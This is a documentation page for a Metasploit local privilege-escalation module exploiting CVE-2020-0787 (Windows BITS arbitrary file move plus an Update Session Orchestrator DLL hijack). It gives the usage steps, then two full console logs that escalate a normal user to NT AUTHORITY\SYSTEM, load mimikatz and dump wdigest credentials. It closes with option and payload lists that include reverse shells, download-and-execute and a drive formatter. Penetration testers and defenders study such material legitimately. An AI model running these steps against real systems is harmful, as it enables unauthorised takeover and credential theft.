Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability - Metasploit


This page contains detailed information about how to use the exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
Module: exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
Source code: modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb
Disclosure date: 2020-03-10
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-0688, CVE-2020-0787

This module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the Background Intelligent Transfer Service (BITS), to overwrite C:\Windows\System32\WindowsCoreDeviceInfo.dll with a malicious DLL containing the attacker's payload. To achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which will result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking issue within the Update Session Orchestrator Service. Note that presently this module only works on Windows 10 and Windows Server 2016 and later as the Update Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested, so your mileage may vary on Windows Server 2016 and later.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > show targets
    ... a list of targets ...
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > set TARGET target-id
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > show options
    ... show and set options ...
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > set SESSION session-id
msf exploit(cve_2020_0787_bits_arbitrary_file_move) > exploit

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


The Windows Background Intelligent Transfer Service (BITS), prior to the March 2020 update, did not apply impersonation when an undocumented COM method, QueryNewJobInterface(), was called. This meant that the BITS temporary file that is created when a job is created and added to the BITS job queue would be copied as the SYSTEM user. By abusing symbolic links, an attacker can take advantage of this vulnerability to write arbitrary files to arbitrary locations as the SYSTEM user.

This vulnerability affects all Windows versions from Windows 7 onwards, up to but not including Windows 10 v2004. Note that exploiting the vulnerability on its own does not allow an attacker to gain privileges; rather an attacker must find a DLL hijacking vulnerability or similar in a SYSTEM level service that they can exploit using the arbitrary file move provided by CVE-2020-0787 in order to gain privileges.

Presently the module solves this issue by taking advantage of a DLL hijacking vulnerability within the Update Session Orchestrator, a service that was introduced starting with Windows 10. By creating a file at C:\Windows\System32\WindowsCoreDeviceInfo.dll, an attacker can ensure that when a Update Session is created via the Update Session Orchestrator service, their malicious payload, located at C:\Windows\System32\WindowsCoreDeviceInfo.dll, will be executed with SYSTEM permissions. Support for other LPE methods that affect other versions of Windows may be added in the future.

Installation And Setup

All affected systems should have the BITS service installed and running. If an affected system does not have the the BITS service running, then the BITS service will need to be started on that host prior to exploiting this vulnerability.

Verification Steps


  1. Start msfconsole
  2. Get a session with basic privileges on a Windows 10 machine
  3. Do: use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
  4. Do: set payload windows/x64/<payload> if the target is an x64 machine, or set payload windows/<payload> if the target is an x86 machine.
  5. Do: set SESSION <sess_no>
  6. Do: set JOB_WAIT_TIME <seconds> to set the number of seconds you want to wait for the BITS job to complete.
  7. Do: Set the LPORT and RHOST options for the payload as needed.
  8. Do: run
  9. You should get a shell running as SYSTEM a few seconds after the JOB_WAIT_TIME timer expires.

Options


OVERWRITE_DLL Overwrite WindowsCreDeviceInfo.dll if it exists (false by default). WindowsCoreDeviceInfo.dll is not present by default, but if it is present, it is likely loaded, so even with this set to true, the overwrite (and exploit) will likely end up failing.

JOB_WAIT_TIME Amount of time, in seconds, to wait for CVE-2020-0787.x64.dll or CVE-2020-0787.x86.dll to finish running before attempting to load uso_trigger.x86.dll or uso_trigger.x64.dll to conduct the local privilege elevation. The main reason for configuring this option is that the BITS job that CVE-2020-0787.x64.dll or CVE-2020-0787.x86.dll will set up can take a long time to run depending on the load of the target computer, so this allows one to add some additional delay if needed to ensure the BITS job has successfully completed prior to attempting to conduct the LPE.

Scenarios


Windows 10 v1909 x64 - Build 18363.418

msf5 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.26.22.128:4444
[*] Sending stage (201283 bytes) to 172.26.22.128
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.26.22.128:4444) at 2020-06-10 12:00:00 -0500

meterpreter > getuid
Server username: DESKTOP-NRCNIDN\normal
meterpreter > sysinfo
Computer        : DESKTOP-NRCNIDN
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 2...
msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options

Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JOB_WAIT_TIME  60               yes       Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
   OVERWRITE_DLL  false            yes       Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
   SESSION                         yes       The session to run this module on.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows DLL Dropper


msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set PAYLOAD windows/x64/meterpreter/bind_tcp
PAYLOAD => windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options

Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JOB_WAIT_TIME  60               yes       Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
   OVERWRITE_DLL  false            yes       Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
   SESSION                         yes       The session to run this module on.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Windows DLL Dropper


msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set RHOST 172.26.22.128
RHOST => 172.26.22.128
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set LPORT 9988
LPORT => 9988
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options

Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JOB_WAIT_TIME  60               yes       Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
   OVERWRITE_DLL  false            yes       Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
   SESSION                         yes       The session to run this module on.


Payload options (windows/x64/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     9988             yes       The listen port
   RHOST     172.26.22.128    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Windows DLL Dropper


msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set SESSIOn 2
SESSIOn => 2
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set JOB_WAIT_TIME 40
JOB_WAIT_TIME => 40
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit

[*] Step #1: Checking target environment...
[*] Step #2: Generating the malicious DLL...
[*] Payload DLL is 94208 bytes long
[*] Step #3: Loading the exploit DLL to run the main exploit...
[*] Launching notepad to host the exploit...
[+] Process 7344 launched.
[*] Injecting DLL into 7344...
[*] DLL injected. Executing injected DLL...
[*] Sleeping for 40 seconds to allow the exploit to run...
[*] Started bind TCP handler against 172.26.22.128:9988
[*] Sending stage (201283 bytes) to 172.26.22.128
[*] Meterpreter session 3 opened (0.0.0.0:0 -> 172.26.22.128:9988) at 2020-06-10 12:03:39 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-NRCNIDN
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x64/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( [email protected] )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > creds_wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
DESKTOP-NRCNIDN$  WORKGROUP        (null)
normal            DESKTOP-NRCNIDN  (null)
test              DESKTOP-NRCNIDN  (null)


meterpreter >

Windows 10 v1903 x86 - Build 18362.30

msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     172.26.17.231    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > exploit

[*] Started bind TCP handler against 172.26.17.231:4444
[*] Sending stage (176195 bytes) to 172.26.17.231
[*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.26.17.231:4444) at 2020-06-10 12:16:12 -0500

meterpreter > getuid
Server username: DESKTOP-PL99PE8\test
meterpreter > sysinfo
Computer        : DESKTOP-PL99PE8
OS              : Windows 10 (10.0 Build 18362).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set SESSION 4
SESSION => 4
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options

Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JOB_WAIT_TIME  40               yes       Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
   OVERWRITE_DLL  false            yes       Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
   SESSION        4                yes       The session to run this module on.


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     9988             yes       The listen port
   RHOST     172.26.22.128    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Windows DLL Dropper


msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set RHOST 172.26.17.231
RHOST => 172.26.17.231
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set LPORT 8822
LPORT => 8822
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set JOB_WAIT_TIME 30
JOB_WAIT_TIME => 30
msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit

[*] Step #1: Checking target environment...
[*] Step #2: Generating the malicious DLL...
[*] Payload DLL is 78336 bytes long
[*] Step #3: Loading the exploit DLL to run the main exploit...
[*] Launching notepad to host the exploit...
[+] Process 10136 launched.
[*] Injecting DLL into 10136...
[*] DLL injected. Executing injected DLL...
[*] Sleeping for 30 seconds to allow the exploit to run...
[*] Started bind TCP handler against 172.26.17.231:8822
[*] Sending stage (176195 bytes) to 172.26.17.231
[*] Meterpreter session 5 opened (0.0.0.0:0 -> 172.26.17.231:8822) at 2020-06-10 12:18:16 -0500

meterpreter > sysinfo
Computer        : DESKTOP-PL99PE8
OS              : Windows 10 (10.0 Build 18362).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0 20191125 (x86/windows)
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'        Vincent LE TOUX            ( [email protected] )
  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/

Success.
meterpreter > creds_wdigest
[+] Running as SYSTEM
[*] Retrieving wdigest credentials
wdigest credentials
===================

Username          Domain           Password
--------          ------           --------
(null)            (null)           (null)
DESKTOP-PL99PE8$  WORKGROUP        (null)
test              DESKTOP-PL99PE8  (null)


meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move

[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show info

       Name: Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
     Module: exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-03-10

Provided by:
  itm4n
  gwillcox-r7

Module side effects:
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Windows DLL Dropper

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  JOB_WAIT_TIME  20               yes       Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
  OVERWRITE_DLL  false            yes       Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
  SESSION                         yes       The session to run this module on.

Payload information:

Description:
  This module exploits CVE-2020-0787, an arbitrary file move 
  vulnerability in outdated versions of the Background Intelligent 
  Transfer Service (BITS), to overwrite 
  C:\Windows\System32\WindowsCoreDeviceInfo.dll with a malicious DLL 
  containing the attacker's payload. To achieve code execution as the 
  SYSTEM user, the Update Session Orchestrator service is then 
  started, which will result in the malicious 
  WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a 
  DLL hijacking issue within the Update Session Orchestrator Service. 
  Note that presently this module only works on Windows 10 and Windows 
  Server 2016 and later as the Update Session Orchestrator Service was 
  only introduced in Windows 10. Note that only Windows 10 has been 
  tested, so your mileage may vary on Windows Server 2016 and later.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-0787
  https://itm4n.github.io/cve-2020-0787-windows-bits-eop/
  https://github.com/itm4n/BitsArbitraryFileMove
  https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8
  https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
  https://itm4n.github.io/usodllloader-part1/
  https://itm4n.github.io/usodllloader-part2/

Module Options


This is a complete list of options available in the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit:

msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options

Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JOB_WAIT_TIME  20               yes       Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds
   OVERWRITE_DLL  false            yes       Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).
   SESSION                         yes       The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows DLL Dropper

Advanced Options


Here is a complete list of advanced options supported by the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit:

msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show advanced

Module advanced options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FileDropperDelay                         no        Delay in seconds before attempting cleanup
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                900              no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/local/cve_2020_0787_bits_arbitrary_file_move module can exploit:

msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows DLL Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2020_0787_bits_arbitrary_file_move exploit:

msf6 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   5    payload/windows/adduser                                                      normal  No     Windows Execute net user /ADD
   6    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   7    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   8    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   9    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   10   payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   11   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   12   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   13   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   14   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   15   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   16   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   17   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   18   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   19   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   21   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   22   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   23   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   24   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   25   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   26   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   27   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   28   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   29   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   30   payload/windows/exec                                                         normal  No     Windows Execute Command
   31   payload/windows/format_all_drives                                            manual  No     Windows Drive Formatter
   32   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   33   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   34   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   35   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   36   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   37   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   38   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   39   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   40   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   41   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   42   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   43   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   44   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   45   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   46   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   47   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   48   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   49   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   50   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   51   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   52   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   53   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   54   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   55   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   56   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   57   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   58   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
